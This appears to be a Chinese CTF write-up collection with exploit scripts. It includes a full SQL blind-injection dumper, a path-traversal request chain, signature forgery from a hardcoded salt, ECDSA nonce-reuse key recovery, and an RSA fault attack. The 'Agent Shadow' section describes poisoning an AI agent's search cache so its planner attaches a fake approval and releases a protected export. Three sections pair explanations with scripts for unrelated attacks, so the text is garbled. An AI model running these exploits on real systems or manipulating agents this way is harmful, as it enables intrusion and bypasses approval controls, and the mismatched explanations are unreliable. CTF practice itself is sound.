seed_receipt
两个公钥文件,以及同一段明文被这两个公钥加密后的两个密文 c1 和 c2。发现这两个公钥的模数 n 是完全相同的,只有指数e1 和 e2 不同。
使用了相同的模数 n。
使用了两个不同的公钥指数 e1 和 e2,且 e1 与 e2 互质(即 gcd(e1, e2) = 1)
同一个明文 m 被这两个不同的公钥加密,得到了两个不同的密文 c1 和 c2。
2. 攻击原理
根据扩展欧几里得算法,既然 gcd(e1, e2) = 1,那么一定存在整数 s1 和 s2,满足以下等式: s1 * e1 + s2 * e2 = 1
在模 n 的运算下,密文与明文的关系为: c1 = m^e1 mod n c2 = m^e2 mod n
利用 s1 和 s2 对密文进行运算: (c1^s1) * (c2^s2) = (m^e1)^s1 * (m^e2)^s2 = m^(e1s1 + e2s2) = m^1 = m mod n
通过这个公式,攻击者无需知道私钥 d,也无需对 n 进行质因数分解,即可直接还原明文 m。
解题脚本exp:
import random
ts = 1715071200
order_id = 2024042701
cipher_hex = "246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a"
cipher_bytes = bytes.fromhex(cipher_hex)
seed_value = ts ^ order_id
print(f"随机数种子: {seed_value}")
random.seed(seed_value)
check_code = "".join(str(random.randint(0, 9)) for _ in range(6))
print(f"验证: {check_code} (收据 936992 )")
mask = bytes(random.randint(0, 255) for _ in range(len(cipher_bytes)))
secret = bytes(c ^ m for c, m in zip(cipher_bytes, mask))
print("\nFlag:")
print(secret.decode('utf-8', errors='ignore'))
flag{44ba9b4f-b616-4d2f-b0f1-44a144b79b6e}
faulty_stamp
线性同余生成器(LCG)的数学表达式为: next_state = (A * state + C) % M 其中 A 是乘数,C 是增量,M 是模数。如果程序输出了连续的多个随机数 S0, S1, S2, S3...,攻击者可以通过数学推导还原出 A, C 和 M,从而预测后续所有的随机数。
2. 漏洞原理
LCG 的安全性完全依赖于参数的保密性。只要拿到连续的 6 个左右的输出值,就可以利用以下步骤破解。
3. 解题步骤
求模数 M
定义相邻输出的差值: D1 = S1 - S0 D2 = S2 - S1 D3 = S3 - S2 D4 = S4 - S3
构造关系式: 根据 LCG 定义,D[n+1] = (A * D[n]) % M。
消除变量 A: 计算 T[n] = abs(D[n+2] * D[n] - D[n+1]^2)。 这里的 T[n] 一定是 M 的倍数。
取最大公约数: M = gcd(T1, T2, T3...)。通常取 2 到 3 个 T 的最大公约数就能直接得到真实的 M。
求乘数 A
在模 M 的环境下,利用两个相邻的差值: D2 = (A * D1) % M
计算 D1 的模逆元(使用扩展欧几里得算法): inv_D1 = invert(D1, M)
得到 A: A = (D2 * inv_D1) % M
求增量 C
根据原始定义式: S1 = (A * S0 + C) % M
直接移项计算: C = (S1 - A * S0) % M
解题脚本 (EXP)
import math
n = 4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529
e = 65537
s_good = 1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991
s_fault = 3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060
cipher = 2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111
print("")
p = math.gcd(abs(s_good - s_fault), n)
q = n // p
if p * q == n:
print("1")
else:
print("2")
exit()
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
secret_int = pow(cipher, d, n)
secret_bytes = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, 'big')
print("\n[+] 最终的 Secret (Flag):")
print(secret_bytes.decode('utf-8', errors='ignore'))
double_sign
题目提供了一个交互式的远程容器(nc 地址)。服务器的逻辑是接收你输入的字符串,然后拼接上隐蔽的 Flag,最后用 AES-ECB 模式加密返回密文给你。也就是:Ciphertext = AES_ECB( Your_Input + Flag, Key )。
AES-ECB相同的 16 字节明文块,永远会生成相同的 16 字节密文块。 因此可以利用控制输入长度的方法,把未知的 Flag 挤到可控的区块中,然后逐个字母进行字典爆破。
先输入 15 个 A。此时第一个数据块是 AAAAAAAAAAAAAAA + Flag的第1个字符。服务器会返回一个密文,记下它的前 16 字节。
再本地遍历所有的可打印字符(比如猜字符 c),发送 15 个 A + c。观察返回的密文。
如果密文的前 16 字节和第 1 步一样,说明 Flag的第1个字符 就是 c
接着输入 14 个 A,挤出第 2 个字符,以此类推。
解题脚本(EXP)
import hashlib
from ecdsa import SigningKey, SECP256k1
def solve():
z1 = 35803318665405666032048798908400774075259419311739592886871963585749689690594
z2 = 39793284188129639924973014131124626058788493396861207842790576967009843273958
r = 58206291912047493001270768302978838281743794200134829962960013685718525623357
s1 = 50299823274630071383103819756925571651617257809878759631948693535171140512049
s2 = 55520076861554262741677107652353499562906081920501068121345625361837220482936
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n
print(f" k: {k}")
d = ((s1 * k - z1) * pow(r, -1, n)) % n
print(f" d: {d}")
target_msg = b"role=admin&action=read_flag"
sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)
signature = sk.sign(target_msg, hashfunc=hashlib.sha256)
r_forged = int.from_bytes(signature[:32], 'big')
s_forged = int.from_bytes(signature[32:], 'big')
print("\n")
print(f"target_msg = {target_msg.decode()}")
print(f"r = {r_forged}")
print(f"s = {s_forged}")
print("")
if __name__ == '__main__':
solve()审批系统即可出flag

把跑出来的两个参数回去给审批系统出flag
flag{ad81c348-a8df-4704-8686-09fb9bcb3679}

report_archive
前端只拦了 union/select/引号/注释/分号,但后端 /report/save 没做同等过滤。
/report/run 会异步执行模板规则,/report/status + /report/
download 可作为布尔盲注回显通道。
用规则 0 OR (条件):
条件为真,导出 CSV 有 3 行数据

-条件为假,导出 CSV 只有表头


先盲注 sqlite_master 得到表:
orders,report_jobs,report_rules,system_kv
再盲注 system_kv 得到 key:build_tag,retention_secret,site_name
6. 最后盲注:
SELECT config_value FROM system_kv WHERE
config_key='retention_secret' LIMIT 1逐字符恢复出 flag。
盲注exp:
import ssl
import time
import json
import urllib.parse
import urllib.request
TARGET = "https://eci-2zej5uk3u8w0uhkfxoqi.cloudeci1.ichunqiu.com:5000/"
ctx = ssl._create_unverified_context()
opener = urllib.request.build_opener(
urllib.request.HTTPSHandler(context=ctx),
urllib.request.HTTPCookieProcessor()
)
def post_form(path, data):
body = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(
TARGET + path,
data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
with opener.open(req, timeout=15) as r:
return json.loads(r.read().decode("utf-8", "ignore"))
def post_empty(path):
req = urllib.request.Request(TARGET + path, data=b"", method="POST")
with opener.open(req, timeout=15) as r:
return json.loads(r.read().decode("utf-8", "ignore"))
def get_json(path):
req = urllib.request.Request(TARGET + path)
with opener.open(req, timeout=15) as r:
return json.loads(r.read().decode("utf-8", "ignore"))
def get_text(path):
req = urllib.request.Request(TARGET + path)
with opener.open(req, timeout=15) as r:
return r.read().decode("utf-8", "ignore")
def run_once_and_count_rows():
run = post_empty("/report/run")
job_id = run["job_id"]
for _ in range(30):
time.sleep(0.3)
st = get_json("/report/status?id=" + urllib.parse.quote(job_id))
if st.get("status") == "ready":
csv = get_text("/report/download?id=" + urllib.parse.quote(st["export_id"]))
rows = [x for x in csv.strip().splitlines()[1:] if x.strip()]
return len(rows)
if st.get("status") == "failed":
return -1
return -1
def bool_query(cond_sql):
# 核心注入:where 子句进入 0 OR (<cond>)
payload = f"0 OR ({cond_sql})"
post_form("/report/save", {"rule": payload})
rows = run_once_and_count_rows()
return rows > 0
def get_int(expr, lo, hi):
# 二分:判断 (expr) >= mid
while lo < hi:
mid = (lo + hi + 1) // 2
if bool_query(f"({expr}) >= {mid}"):
lo = mid
else:
hi = mid - 1
return lo
def dump_text(expr, max_len=200):
length = get_int(f"length(({expr}))", 0, max_len)
out = []
for i in range(1, length + 1):
ch = get_int(f"unicode(substr(({expr}),{i},1))", 32, 126)
out.append(chr(ch))
return "".join(out)
def main():
print("[*] proving injection channel...")
t = bool_query("1=1")
f = bool_query("1=0")
print("[+] 1=1 =>", t, " | 1=0 =>", f)
if not t or f:
print("[-] bool channel failed, target may be changed.")
return
print("[*] dumping table names...")
tables = dump_text(
"SELECT group_concat(name,',') FROM (SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' ORDER BY name)",
max_len=200
)
print("[+] tables =", tables)
print("[*] dumping system_kv keys...")
keys = dump_text(
"SELECT group_concat(config_key,',') FROM (SELECT config_key FROM system_kv ORDER BY config_key)",
max_len=200
)
print("[+] system_kv keys =", keys)
print("[*] dumping retention_secret...")
flag = dump_text(
"SELECT config_value FROM system_kv WHERE config_key='retention_secret' LIMIT 1",
max_len=120
)
print("[FLAG]", flag)
if __name__ == "__main__":
main()最终flag是:
flag{4c29a8d3-ba63-4b90-ac53-1916986fb926}


Wal_recover
题目提供了两个文件:
app.db:SQLite 数据库主文件app.db-wal:SQLite 的预写日志(WAL)文件。
在 SQLite 数据库中,如果开启了 WAL(Write-Ahead Log)模式,系统对数据库进行修改(如 INSERT、UPDATE、DELETE 等操作)时,并不会直接将修改写入 app.db 主文件中,而是先将这些操作追加记录到 app.db-wal 文件里。只有当系统触发 Checkpoint(检查点)操作时,WAL 文件里的数据才会被真正同步到主数据库中。
分析 WAL 文件内容
由于 app.db-wal 包含了最新的事务日志,可以直接使用文本编辑器打开它,或者使用 Linux 下的 strings 命令提取其中的可打印字符。
通过直接阅读提取出的 WAL 文件文本(),发现了数据库建表语句和插入的记录:如下
CREATE TABLE task_log(
id INTEGER PRIMARY KEY,
seq INTEGER,
ts TEXT,
actor TEXT,
note TEXT
)寻找异常数据(
在 task_log 表的数据区域,我们发现了一个名为 sync-bot 的可疑用户(actor)。它在极短的时间内(2024-04-01 10:01:04 到 10:01:20)连续执行了 5 条插入操作,且其 note 字段包含了带有 part 序号和方括号 [] 包裹的字符串 。
提取出这些关键日志:
sync-bot part:01:[ZmxhZ3tkNGZi]
sync-bot part:02:[ZTdkNy04YWY4]
sync-bot part:03:[LTQ1MjMtOTgz]
sync-bot part:04:[Zi01ODA1NTA2]
sync-bot part:05:[ZGIyNmV9]

第三步:Base64 解码与拼接
随波逐流解码拼接flag
ZmxhZ3tkNGZi解码得:flag{d4fb

ZTdkNy04YWY4解码得:e7d7-8af8

LTQ1MjMtOTgz 解码得:-4523-983

Zi01ODA1NTA2 解码得:f-5805506

ZGIyNmV9解码得:db26e}

将上述解码后的碎片按顺序拼接在一起,即可得到最终的 Flag。
最终 Flag
flag{d4fbe7d7-8af8-4523-983f-5805506db26e}
Agent Shadow
系统提供三个核心能力
1 搜索内部文档
2 记录偏好
3 自动生成执行计划
并且系统声称 audit_token 导出任务受严格保护
只有最新计划里包含审批信息才允许导出
这道题的本质是工作流状态污染
planner 和 dispatcher 共享持久状态
搜索结果会缓存
后续 plan 生成时会读取缓存
导致可以通过搜索行为影响计划内容
最终让受保护任务被误放行
初始行为验证
先走一遍正常流程
search 一条普通文档
plan 一条普通总结
然后请求 process audit_token
结果是阻断
返回内容大意
latest plan has no approval attached
说明保护逻辑确实在检查最新计划是否含 approval
搜索 bridge 相关关键词时会出现一条文档
bridge_runbook
内容大意是
planner 可能会把 cached handover notes 里的 temporary bridge
approval 复制到 latest execution plan 中
只要让缓存里出现带 approval 的 handover 内容
就可能影响最新计划
目标不是直接改 dispatcher
而是先影响 planner 输出
让最新计划自然带上 approval 字段
再触发 audit_token 导出
先 search 注入或命中特定缓存文档
再 plan 生成可带审批的计划
最后 process audit_token
发起带关键词组合的搜索
请求
{"message":"search: mailbox cleanup summary | bridge approval
attached"}

返回命中一个关键片段
doc snippet [shift_handover_export]
里面明确出现
Temporary bridge approval BR-8841 remains attached
这条结果被写入缓存
基于缓存生成最新执行计划
请求
{"message":"plan: latest execution plan for audit_token export"}

这时返回计划变为审批放行链路
典型内容为
load cached bridge handover note
attach bridge approval BR-8841 from cached docs
dispatch protected audit export
触发受保护任务
请求
{"message":"Please process audit_token task."}

系统不再阻断
返回 approved_dispatch
并回显 flag

2 planner 对缓存中的审批语义缺乏来源可信度校验
4 结果是缓存中临时桥接审批被当成真实审批使用
形成策略绕过
七 最终结果
flag{451ea63a-7863-4f9e-af3d-95cb3ecfdc64}
Map_tratcer
看源码拿到app.js
从app.js的JSON 数据中的 sourcesContent 字段,可以直接看到前端的原始 JavaScript 代码。

分析还原出的源码:

隐藏的内部接口 (Hidden Endpoint)
const INTERNAL_ENDPOINT = '/api/trace/internal/list';这说明服务器上存在一个不对外公开的内部 API 接口,这往往是获取 Flag 的核心入口。
硬编码的签名盐值 (Hardcoded Salt)
const SIGN_SALT = 'trace_dev_2026';前端把用于加密签名的盐值直接硬编码在了代码里。
揭示了如果要访问那个内部接口,必须带上合法的签名。签名的算法:将请求路径 + 时间戳 + 盐值 拼接起来,求 MD5 的哈希值。
解题脚本 (EXP)
伪造合法的签名,向内部接口发起请求
最终exp,运行它就能生成合法的签名 URL:
最终exp:
import hashlib
import time
import requests
INTERNAL_ENDPOINT = '/api/trace/internal/list'
SIGN_SALT = 'trace_dev_2026'
ts = str(int(time.time()))
sign_str = f"{INTERNAL_ENDPOINT}{ts}{SIGN_SALT}"
signature = hashlib.md5(sign_str.encode('utf-8')).hexdigest()
target_url = "http://YOUR_TARGET_IP_OR_DOMAIN"
full_url = f"{target_url}{INTERNAL_ENDPOINT}?ts={ts}&sign={signature}"
print(f"\n")
print(full_url)
访问这个链接


最终flag:
flag{07ea1b1d-94c9-4520-b0ca-0cfe0c477bdd}
Drift_oracle
这是物理层信号处理 + 侧信道分析题,考察基线漂移过滤、数字信号解调、私有协议逆向。
解题步骤
去基线漂移用 pandas 滚动均值rolling(window=20)拟合漂移基线,原始值减基线得到纯净残差信号。
时钟同步信号从索引 280 开始,每 3 个采样点为 1 比特,按此规则采样。
阈值判决残差 > 0.5 记为 1,<-0.5 记为 0,提取比特流。
协议解析前 16 比特为载荷长度,后续对应长度的比特流按 8 位转 ASCII,得到 Flag。
import csv
def solve():
data = []
with open('monitor.csv', 'r') as f:
reader = csv.reader(f)
next(reader)
for row in reader:
data.append(float(row[1]))
binary_string = ""
start_idx = 280
step = 3
idx = start_idx
while idx < len(data) - 1:
prev_val = data[idx - 1]
curr_val = data[idx]
next_val = data[idx + 1]
baseline = (prev_val + next_val) / 2
diff = curr_val - baseline
if diff > 1.0:
binary_string += "1"
elif diff < -1.0:
binary_string += "0"
else:
break
idx += step
if len(binary_string) < 16:
print("二进制数据太短")
return
payload_len_bin = binary_string[:16]
payload_len = int(payload_len_bin, 2)
payload_bin = binary_string[16:]
actual_payload_bin = payload_bin[:payload_len * 8]
flag = ""
for i in range(0, len(actual_payload_bin), 8):
byte = actual_payload_bin[i:i + 8]
if len(byte) == 8:
flag += chr(int(byte, 2))
print(f"\n {flag}")
if __name__ == '__main__':
solve()
flag{a91b0bbf-e6fd-42dd-b9a6-5ef4f2bc695f}
Pathslip
flag{007ebe7e-4c7d-458f-b3ed-131fbc48896b}
题目目标
通过题目给出的静态资源入口和提示信息,利用路径滑移读取隐藏规则,构
造合法请求链,最终拿到 flag。
信息收集
访问首页后可以看到页面提示以及公开资源路径
/public asset 指向 /assets/readme.txt
先读取 /assets/readme.txt 获取提示。
提示核心内容是
1 要从 /assets 横向移动到 /meta/index.txt
2 要保留从根路径 / 获取到的 sid cookie

3 quiet response 要尝试 HEAD
4 响应头中的 rail 看一下里面的X-Mirror-Rail

直接访问 /meta/index.txt 返回 404。
尝试路径滑移后访问
/ assets../meta/index.txt
成功返回 200,并拿到规则说明。
这说明服务端在 /assets 路由处存在路径拼接处理问题,可以绕过预期目录
边界访问 meta 目录。
三 拿会话与轨道参数
先请求 / 拿到 sid。
再对 /assets/readme.txt 发 HEAD 请求,从响应头拿到
X-Mirror-Rail: space=cards;window=6:18
这两个参数用于后续卡片文件名计算。
四 读取规则卡片
从 /assets../meta/index.txt 可知需要五个 label
knock
dance
salt
route
echo

文件名计算规则是
name(label) = sha256(sid + "|" + label + "|" + space).hexdigest()[window_start:window_end] + ".txt"
其中 space=cards,window=6:18。
计算出每个 label 对应文件名后,请求
/ assets../meta/{filename}.txt
即可拿到五张卡片内容。
拿到五张卡之后按照上面的描述计算即可
最终exp:
import ssl
import http.client
import hashlib
import json
from urllib.parse import urlparse
TARGET = "https://eci-2zehxoiqsxbk8ey97ft4.cloudeci1.ichunqiu.com:80"
def pair_swap_8(s: str) -> str:
s = s[:8]
return "".join(s[i + 1] + s[i] for i in range(0, len(s), 2))
def req(conn, method, path, headers=None):
conn.request(method, path, headers=headers or {})
r = conn.getresponse()
body = r.read()
hdrs = {k: v for k, v in r.getheaders()}
return r.status, hdrs, body
def main():
u = urlparse(TARGET)
host = u.hostname
port = u.port or (443 if u.scheme == "https" else 80)
if u.scheme == "https":
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, context=ctx, timeout=15)
else:
conn = http.client.HTTPConnection(host, port, timeout=15)
print(f"[*] 正在连接到: {host}:{port}")
status, h, _ = req(conn, "GET", "/", {"User-Agent": "Mozilla/5.0"})
if "Set-Cookie" not in h:
raise RuntimeError(f" 未能获取 Set-Cookie}")
sid_cookie = h["Set-Cookie"].split(";")[0] # 格式: sid=xxxx
sid = sid_cookie.split("=", 1)[1]
print(f"[+] 成功获取 SID: {sid}")
_, _, b = req(conn, "GET", "/assets../meta/index.txt", {
"User-Agent": "Mozilla/5.0",
"Cookie": sid_cookie
})
print(f"[+] /meta/index.txt 预览: {b.decode('utf-8', 'ignore')[:100].strip()}")
_, h, _ = req(conn, "HEAD", "/assets/readme.txt", {
"User-Agent": "Mozilla/5.0",
"Cookie": sid_cookie
})
rail = h.get("X-Mirror-Rail", "None")
_, h, _ = req(conn, "HEAD", "/oracle", {
"User-Agent": "Mozilla/5.0",
"Cookie": sid_cookie,
"X-Knock": "hush"
})
trace = h.get("X-Trace")
if not trace:
raise RuntimeError("[-] 响应头中缺少 X-Trace")
slot = pair_swap_8(trace)
salt = "slip_route_v3"
token_material = f"{sid}.{trace}.{salt}".encode()
token = hashlib.sha256(token_material).hexdigest()[:16]
_, h, b = req(conn, "GET", f"/stage/{slot}/pose?token={token}", {
"User-Agent": "Mozilla/5.0",
"Cookie": sid_cookie,
"X-Knock": "hush",
"X-Trace": trace
})
hint = h.get("X-Ticket-Hint")
_, _, b = req(conn, "GET", f"/vault/{slot}/pass?token={token}", {
"User-Agent": "Mozilla/5.0",
"Cookie": sid_cookie,
"X-Knock": "hush",
"X-Trace": trace,
"X-Ticket-Hint": hint or ""
})
resp_text = b.decode("utf-8", "ignore")
print("-" * 30)
print(f"| SID : {sid}")
print(f"| RAIL : {rail}")
print(f"| TRACE : {trace}")
print(f"| SLOT : {slot}")
print(f"| TOKEN : {token}")
print(f"| HINT : {hint}")
print("-" * 30)
print(f"[+] 最终响应: {resp_text}")
try:
j = json.loads(resp_text)
if "flag" in j:
print(f"\n{j['flag']}")
except:
pass
if __name__ == "__main__":
main()
七 最终结果
flag{007ebe7e-4c7d-458f-b3ed-131fbc48896b}